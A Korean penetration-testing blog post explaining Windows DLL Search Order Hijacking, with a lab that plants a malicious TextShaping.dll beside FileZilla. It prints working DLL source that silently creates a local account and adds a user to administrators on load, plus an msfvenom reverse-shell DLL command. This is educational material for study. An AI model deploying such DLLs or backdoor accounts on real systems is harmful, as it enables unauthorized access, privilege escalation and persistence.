이전에 작성한 DLL 하이재킹 관련 포스팅은 너무 지저분해서 리포스팅합니다.
주제
DLL Search Order Hjiacking 개념 및 간단한 실습
내용
DLL Search Order Hijacking은 Windows의 DLL 검색 순서를 악용하여, 원래 로드되어야할 DLL 대신 악성 DLL이 실행되도록 유도하는 취약점입니다. 본 포스팅에서는 DLL Hijacking의 개념과 DLL 검색 순서를 설명하고, 간단한 실습을 통해 이를 다뤄보겠습니다.
1. 사전 지식
라이브러리: 여러 프로그램에서 공통으로 사용할 수 있도록 만들어진 코드나 기능들의 모음
- LIB(Static Link Library)
- 프로그램이 컴파일될 때 라이브러리의 함수와 코드가 프로그램에 복사되어 결합
- DLL(Dynamic-Link Library)
- 프로그램이 실행될 때, 필요한 순간에만 라이브러리를 동적으로 로드
- 실행 파일과 DLL 파일은 독립적으로 존재
2. DLL 검색 순서
Windows는 프로그램이 실행 중 필요한 DLL 파일을 로드할 때, 명시적으로 경로가 지정된 경우와 지정되지 않은 경우에 따라 다른 동작을 합니다.
경로를 지정한 경우: 검색 순서와 관계없이 해당 경로에서 DLL이 로드
HMODULE hModule = LoadLibrary("C:\\MyApp\\custom.dll");
경로를 지정하지 않은 경우: DLL 검색 순서에 따라 파일을 탐색
HMODULE hModule = LoadLibrary("custom.dll")
[DLL 검색 순서]
- DLL Redirection
- API Sets
- Windows 운영 체제에서 제공하는 핵심 기능을 지원하는 DLL 파일(kernel32.dll, user32.dll, wininet.dll 등)
- SxS Manifest redirection
- manifest 파일에 필요한 DLL 이름과 버전 명시
- 이미 메모리에 로드된 DLL
- Known DLLs(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs)
- 응용 프로그램 디렉터리
- 시스템 디렉터리(C:\Windows\System32)
- 16bit 시스템 디렉터리
- Windows 디렉터리(C:\Windows)
- 시스템 PATH 환경변수에 정의된 디렉터리
- 사용자 PATH 환경변수에 정의된 디렉터리
※ 현재 작업 디렉터리와 응용 프로그램 디렉터리의 차이
- 현재 작업 디렉터리: C:\Users\\user01\
- 응용 프로그램 디렉터리: C:\sysinternals\
3. DLL Hijacking 작동 원리
- Windows는 프로그램이 DLL을 로드할 때 특정 검색 순서를 따릅니다.
- 응용 프로그램 디렉터리(6) 등이 시스템 디렉터리(7)보다 우선적으로 검색됩니다.
- Safe DLL Search Mode 가 비활성화된 경우, 현재 작업 디렉터리(10)가 시스템 디렉터리(7)보다 우선적으로 검색됩니다.
- 공격자는 이러한 검색 순서를 악용하여 악성 DLL을 배치해서 프로그램의 동작을 조작할 수 있습니다.
4. 실습 - Simple DLL Hijacking
실습환경: Windows 11 Enterprise 22H2
실습대상: filezilla.exe
실습 시 사용하는 도구: procmon
가정: 실습대상의 응용프로그램 디렉터리에 쓰기 권한 존재
익스플로잇 과정:
Step 1) procmon.exe 통해 프로세스 이벤트 확인
- procmon.exe(Process Moniter): 프로세스 분석 및 디버깅을 위해 registry, file, process/thread 등을 실시간으로 캡처하는 프로그램
- filezila.exe 실행시 응용 프로그램 디렉터리에서 TextShaping.dll 검색 시도 → NAME NOT FOUND
- 시스템 디렉터리에서 TextShaping.dll 검색 시도 → SUCCESS
Step 2) DLL 생성
// https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order
// $ x86_64-w64-mingw32-gcc TextShaping.cpp --shared -o TextShaping.dll
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: //DLL 로드 시 호출
int i;
i = system ("net user gngngn password123! /add");
i = system ("net localgroup administrators dave3 /add");
case DLL_THREAD_ATTACH: //프로세스 내 스레드 생성 시 호출
break;
case DLL_THREAD_DETACH: //프로세스 내 스레드 종료 시 호출
break;
case DLL_PROCESS_DETACH: //DLL 언로드 시 호출
break;
}
return TRUE;
}
※ MSFvenom을 사용하여 reverse shell 페이로드가 담긴 dll 파일 생성 가능. 본 글에서는 임의 계정 생성만 테스트
msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT= -f dll -o (파일명)
Step 3) 응용 프로그램 디렉터리(C:\FileZilla\FileZilla FTP Client\)에 생성한 DLL 배치
- 응용프로그램 디렉터리에 현재 사용자 쓰기 권한 필요
Step 4) filezilla.exe 재실행
Step 5) 악성 DLL 실행 확인
※ 공격 수행 시 고려사항
생성한 DLL 파일 에 타겟 프로그램이 import하는 함수 등의 리소스가 없으면 대부분 DLL 로드를 실패합니다. 따라서 공격자는 이러한 요구사항에 맞는 DLL을 작성해야 할 필요가 있습니다.
5. 활용과 한계
설명 | |
활용
|
- Privilege Escalation: 타겟 프로그램이 높은 권한으로 실행될 경우, 악성 DLL도 동일한 권한으로 실행되기에 권한 상승 시도 가능
- Persistence: 타겟 프로그램 실행 시마다 자동으로 악성 페이로드가 실행되므로 지속성 유지 가능 - Defense Evasion: 악성 DLL은 정상적인 애플리케이션 프로세스 내부에서 실행되므로 솔루션 탐지로부터 회피 가능 |
한계
|
- 타겟 프로그램이 낮은 권한으로 실행될 경우, 악성 DLL도 제한된 권한만 사용 가능
- 행위 기반 탐지 솔루션에서 비정상적인 DLL 로드를 탐지 / 시그니처 기반 탐지 솔루션에서 악성 DLL 탐지 가능 - 악성 DLL 생성 시 타겟 프로그램의 요구사항에 맞도록 설계해야 함 |
레퍼런스
- MITRE ATT&CK: DLL Search Order Hijacking (링크)
- OFFSEC
- Microsoft DLL Seasrch Order (링크)
'System > 침투' 카테고리의 다른 글
Windows Kerberos 악용(Kerberoasting, AS-Rep Roasting) (1) | 2024.12.24 |
---|---|
DLL Hijacking 실습 (2) (0) | 2024.10.26 |
THM - Offensive Pentesting-Skynet (0) | 2023.10.24 |
THM - Enumerating Active Directory(2) (0) | 2023.10.20 |
THM - Enumerating Active Directory(1) (0) | 2023.10.19 |